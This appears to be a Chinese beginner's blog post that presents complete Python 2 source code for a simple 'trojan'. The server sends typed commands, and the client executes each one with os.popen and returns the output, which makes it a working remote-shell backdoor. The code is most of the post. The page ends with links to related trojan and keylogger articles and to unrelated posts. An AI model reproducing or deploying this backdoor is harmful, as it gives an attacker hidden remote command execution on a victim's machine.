十一的晚上,平时都在写工作的代码,好久没有专门看一些知识了,感觉想刚开始学c一样,搞到半夜

还是《python网络编程基础》,写了小脚本,没有任何结构,一句一句的往下写的,反正是可以实现想法了

运行环境:python2

服务端

 #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
木马程序服务端
""" from socket import * host = ''
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM)
# 设置端口回收
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# 绑定ip和端口
sock.bind((host,port)) # 设置连接数量
sock.listen(1) print u"服务器已经开启\n\r端口号:%s" %port while 1:
# 等待连接
clientsock,clientaddr = sock.accept()
print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1])
# 发送数据
clientsock.send("hello...") while 1:
# 接收客户端返回
buf = clientsock.recv(2048 * 4)
if not len(buf):
break
else :
print buf
while 1:
# 输入命令
cmd = raw_input(">")
if not len(cmd):
continue try:
# 发送命令
clientsock.send(cmd.encode())
except Exception as e:
continue break

客户端

 #!/usr/bin/env python
# coding:utf-8 """
木马客户端
""" from socket import *
import os host = "127.0.0.1"
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM) try:
# 连接服务器
sock.connect((host,port))
except Exception as e:
print u"连接失败:%s" %e
exit() while 1:
# 接收命令
buf = sock.recv(1024)
filename = ''
# 对切换目录命令特殊处理
if buf[0:2] == 'cd':
buf = buf[3:]
os.chdir(buf)
cmd = os.popen('dir')
for str in cmd.readlines():
filename += str
else:
# 执行命令
cmd = os.popen(buf)
for str in cmd.readlines():
filename += str
if not filename:
filename = 'NO...' try:
# 将命令执行内容返回给服务器
sock.sendall(filename + "\r\n")
except Exception as e:
exit()

效果图

菜鸟献丑,大神指点

pyhton实现简单的木马程序的更多相关文章

  1. Atitit.病毒木马程序的感染 传播扩散 原理

    Atitit.病毒木马程序的感染 传播扩散 原理 1. 从木马的发展史考虑,木马可以分为四代 1 2. 木马有两大类,远程控制  vs  自我复制传播1 3. 自我复制2 3.1. 需要知道当前cpu ...

  2. 一次Linux服务器被入侵和删除木马程序的经历

    转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://wzlinux.blog.51cto.com/8021085/1740113 一.背景 晚上看到有台服 ...

  3. Python编写简易木马程序(转载乌云)

    Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能 ...

  4. node.js学习(三)简单的node程序&&模块简单使用&&commonJS规范&&深入理解模块原理

    一.一个简单的node程序 1.新建一个txt文件 2.修改后缀 修改之后会弹出这个,点击"是" 3.运行test.js 源文件 使用node.js运行之后的. 如果该路径下没有该 ...

  5. java基础学习02(简单的java程序)

    简单的java程序 一.完成的目标 1. 理解java程序的基本组成 2. 如何对程序代码进行注释 3. java标识符的命名规则 4. 了解java中的关键字 5. 使用java定义变量或声明变量 ...

  6. Socket编程实践(3) 多连接服务器实现与简单P2P聊天程序例程

    SO_REUSEADDR选项 在上一篇文章的最后我们贴出了一个简单的C/S通信的例程.在该例程序中,使用"Ctrl+c"结束通信后,服务器是无法立即重启的,如果尝试重启服务器,将被 ...

  7. Linux环境下部署完JDK后运行一个简单的Java程序

    前言 前一篇文章详细讲解了如何在Windows环境下安装虚拟机+Linux系统,并且成功部署了JDK. 不过部署完JDK之后,我们判断部署是否成功的依据是看"java -version&qu ...

  8. 编写一个简单的C++程序

    编写一个简单的C++程序 每个C++程序都包含一个或多个函数(function),其中一个必须命名为main.操作系统通过调用main来运行C++程序.下面是一个非常简单的main函数,它什么也不干, ...

  9. C#编写简单的聊天程序

    这是一篇基于Socket进行网络编程的入门文章,我对于网络编程的学习并不够深入,这篇文章是对于自己知识的一个巩固,同时希望能为初学的朋友提供一点参考.文章大体分为四个部分:程序的分析与设计.C#网络编 ...

随机推荐

  1. 并发包Semaphore实现信号灯

    /** * * @描述: Semaphore实现信号灯 . * Semaphore可以维护当前访问自身的线程个数,并提供了同步机制,使用Semaphore可以控制同时访问资源的线程个数,例如实现一个文 ...

  2. Stack vs Heap

    http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html Table of Contents Stack vs Heap The Stac ...

  3. ubuntu桌面便签 sticky note, xpad

    sudo apt-get install xpad 软件有一个选项,叫做Show window decorations,显示窗口的标题栏.

  4. July 11th 2017 Week 28th Tuesday

    No possession, but use, in the only riches. 真正的财富不是占有,而是使用. These days I have bought tens of books a ...

  5. ASP.NET 页面基本优化.

    一.禁用Browser Link(目前主要用来是刷新vs ide 浏览界面),直接干掉. <!-- Visual Studio Browser Link --> <script ty ...

  6. 修改WSAD的默认工作区(转)

    如果要一直用某个目录作为工作区,可以在启动WSAD的时候将该目录设为默认工作区,这样启动时直接启动,方便.快捷.但是如果设置后在想换工作区就比较麻烦了,因为没有可供选择的界面了,跟网上搜了一下总结共有 ...

  7. 折腾apt源的时候发生的错误

    在折腾Ubuntu源的时候,把新的源替换进去,然后 sudo apt-get update 之后报错: W: Unknown Multi-Arch type 'no' for package 'com ...

  8. mysql执行sql文件

    mysql -uspider_55haitao -pspider_55haitao -Dspider_55haitao</home/gphonebbs/Dump20161109.sql 方法一  ...

  9. UVa 1331 - Minimax Triangulation(区间DP + 计算几何)

    链接: https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem& ...

  10. HDU 2588 GCD 【Euler + 暴力技巧】

    任意门:http://acm.hdu.edu.cn/showproblem.php?pid=2588 GCD Time Limit: 2000/1000 MS (Java/Others)    Mem ...